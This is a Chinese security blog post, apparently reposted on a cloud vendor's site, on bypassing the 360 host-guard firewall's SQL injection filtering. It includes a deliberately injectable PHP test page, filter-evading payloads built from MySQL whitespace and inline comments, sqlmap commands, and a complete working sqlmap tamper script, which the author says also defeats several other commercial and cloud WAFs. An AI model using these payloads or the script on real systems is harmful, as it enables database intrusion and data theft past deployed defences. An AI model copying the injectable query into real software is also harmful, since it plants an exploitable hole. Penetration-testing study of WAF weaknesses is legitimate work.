Bypass 360主机卫士SQL注入防御(附tamper脚本)

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: 0x01 前言   在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。 0x02 环境搭建 Windows Server 2003+phpStudy sql注入点测试代码: sql.

0x01 前言

  在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

0x02 环境搭建

Windows Server 2003+phpStudy

sql注入点测试代码:

sql.php

<?php
$con = mysql_connect("localhost","root","root");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM admin WHERE username = $id ";
$result = mysql_query($query);
while($row = mysql_fetch_array($result))
  {
  echo $row['0'] . " " . $row['1'];
  echo "<br />";
  }
echo "<br/>";
echo $query;
mysql_close($con);
?>

运行效果:

0x03 Bypass 过程

  对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

    1、完全bypass(union select+select from)

    2、部分bypass(union select 或select from)

    3、获取一些敏感信息(如version()、database()等)     

A、Union+select

        先考虑如何绕过union+select,可以考虑一下几种形式

    1、最常见形式 %20、+、/**/

    2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

    3、内联注释   /!12345select/

 通过组合测试,可以发现 union%0a/*!12345select*/ 1,2 可以绕过防御。

 B、select+from

  select+from 也可以通过同样的组合形式绕过防御。

  至此已完全绕过union+select+from。

0x04 自动化注入

编写tamper bypass脚本,来利用sqlmap来跑数据

先看一下原始sqlmap的效果:

sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

加载tamper脚本,可成功获取数据。

sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper脚本:

#!/usr/bin/env python

"""
write by Aaron
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Replaces keywords
    >>> tamper('UNION SELECT id FROM users')
    'union%0a/*!12345select*/id%0a/*!12345from*/users'
    """
    if payload:
        payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
        payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
        payload=payload.replace(" FROM ","%0a/*!12345from*/")
        payload=payload.replace("CONCAT","CONCAT%23%0a")
        payload=payload.replace("CASE ","CASE%23%0a")
        payload=payload.replace("CAST(","/*!12345CASt(*/")
        payload=payload.replace("DATABASE()","database%0a()")
                
    return payload

 这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

0x05 END

  最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。

  目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

  关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

 

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
37 0
|
1天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
9 0
|
9天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0
|
1月前
|
SQL 安全 API
|
2月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
31 0
|
2月前
|
SQL 数据库 数据安全/隐私保护
sql注入碰到加密数据怎么办
sql注入碰到加密数据怎么办
19 1
|
2月前
|
SQL 数据库
SQL注入基础(报错注入及延时注入)
SQL注入基础(报错注入及延时注入)
22 0
|
2月前
|
SQL
14、sql注入绕过技术
14、sql注入绕过技术
27 0